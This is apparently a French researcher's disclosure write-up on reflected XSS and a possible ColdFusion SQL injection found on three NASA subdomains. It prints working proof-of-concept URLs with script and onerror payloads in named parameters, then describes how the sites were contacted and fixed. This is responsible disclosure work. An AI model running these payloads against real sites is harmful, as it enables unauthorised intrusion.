Plusieurs sous-domaines de la NASA présentent des vulnérabilités d’injection de code (JavaScript XSS / SQLi ColdFusion).
Introduction
Au cours de mes navigations dominicales sur la toile, j’ai atterri sur un portail gouvernemental de la NASA, la National Aeronautics and Space Administration, qui à titre de rappel, est responsable du programme spatial civil des États-Unis.
En parcourant les pages du PDS, le portail des archives des données planétaires (Planetary Data System), j’ai rebondi sur d’autres projets de la NASA et j’ai pu y découvrir quelques vulnérabilités que je me suis empressé de signaler.
- Le Planetary Data System (PDS) : vulnérabilité d’injection de code JavaScript réfléchi (RXSS)
- Le NASA’s Archive of Data on Energetic Phenomena (HEASARC) : vulnérabilité d’injection de code JavaScript réfléchi (RXSS)
- Le Direct Readout Laboratory (directreadout) de la NASA : vulnérabilité d’injection de code JavaScript réfléchi (RXSS) et SQL injection potentielle
Le portail web de la NASA et ses nombreux projets / sous-domaines ont depuis tous temps été très prisés par les assaillants ; notamment dû à la renommée internationale de cette entité gouvernementale spécialisée dans la recherche spatiale. On recense plusieurs piratages et/ou découvertes de vulnérabilités dans les espaces de l’agence au cours des dernières années.
Dans le cadre de mes recherches, les vulnérabilités s’illustraient de manière canonique comme suit :
Vulnérabilités
Le Planetary Data System (PDS)
PoC
Simple RXSS au niveau du paramètre GET « INSTRUMENT_HOST_ID » de la page « viewHostProfile.jsp » qui n’était pas suffisamment traité / nettoyé avant d’être utilisé au sein de la page.
Syntaxe
http://pds.nasa.gov/ds-view/pds/viewHostProfile.jsp?INSTRUMENT_HOST_ID=NH<img src='x' onerror='alert(/Reflected XSS - Yann CAM @ASAfety/)' />
Le NASA’s Archive of Data on Energetic Phenomena (HEASARC)
PoC
Simple RXSS au niveau du paramètre GET « sid » de la page « vresults.pl » qui n’était pas suffisamment traité / nettoyé avant d’être utilisé au sein de la page.
Syntaxe
http://heasarc.gsfc.nasa.gov/vo/validation/vresults.pl?show=details&sid=1337<script>alert(/Reflected XSS - Yann CAM @ASAfety/)</script>&runid=539653&switch=no http://heasarc.gsfc.nasa.gov/vo/validation/vresults.pl?show=oldtests&sid=1337'><script>alert(/Reflected XSS - Yann CAM @ASAfety/)</script>&runid=539653
Le Direct Readout Laboratory (directreadout) de la NASA
PoC
Simple RXSS et potentielle SQLi au niveau du paramètre GET « cid » de la page d’index qui n’était pas suffisamment traité / nettoyé avant d’être utilisé au sein de la page.
Au regard de l’erreur affichée en tant que commentaire dans le code source de la page, on remarque la présence d’une potentielle SQL injection suite à une erreur de transtypage / cast en integer de la variable :
Diagnostics:<br> Invalid data 159---><img src=x onerror='alert(/Reflected XSS | SQLi - Yann CAM @ASAfety/);' /> for CFSQLTYPE CF_SQL_INTEGER. <br>The error occurred on line 13.
Je n’ai pas creusé cette SQL injection afin d’éviter de porter atteinte au système. Celle-ci portait sur des technologies ColdFusion.
Syntaxe
http://directreadout.sci.gsfc.nasa.gov/?id=dspContent&cid=159---><img src=x onerror='alert(/Reflected XSS | SQLi - Yann CAM @ASAfety/);' />
Corrections et patchs
Prise de contact
Le 31 octobre 2014, chaque responsable en « @nasa.gov » de chaque portail vulnérable a été contacté pour informer de ces vecteurs d’attaque.
Quelques heures plus tard, une réponse m’est parvenue concernant le portail PDS :
Hello,Thank you for bringing the security issues to our attention.We at PDS are looking into the issues related to PDS web site security and will address as quickly as possible.Thank you,EmilyPDS Operations
Correction PDS
Validation et vérification du format et de la syntaxe de la variable « INSTRUMENT_HOST_ID ».
Correction HEASARC
Validation et vérification du format et de la syntaxe de la variable « sid ».
Correction DirectReadOut
Camouflage des erreurs et diagnostique au sein du code source, concernant les erreurs de la variable « cid ».
Conclusion
Les sous-domaines de « *.nasa.gov » correspondant à des projets spatiaux distincts sont gérés, administrés et maintenus par des équipes diverses et variées. Chaque équipe ne semble s’occuper que du projet auquel elle est affectée.
Lors de la détection de vulnérabilités au sein d’un portail de la NASA, la difficulté consiste à trouver et informer le bon interlocuteur du projet spatiale concerné, afin qu’une correction voit le jour.
Comme indiqué, cette étape peut être plus ou moins rapide, accompagnée d’un feedback ou non. En tout cas je remercie « Emily » pour son retour et sa prise d’action rapide concernant le portail PDS.
Le portail de la NASA et les sites dédiés aux divers projets ne sont pas dans l’ensemble des prouesses technologiques en termes de développement web et de design. La plupart disposent d’un graphisme succinct mais assurent pleinement leur partie fonctionnelle.
Les technologies employées sont très diverses, du Java/JSP au PERL en passant par le ColdFusion. Bon nombre de vulnérabilités bien plus critiques doivent subsister au sein de ces portails, c’est pourquoi je vous encourage à leur remonter si vous en décelez.
En attendant les prochaines découvertes, avancés et projets passionnant de la NASA, salutations à tous !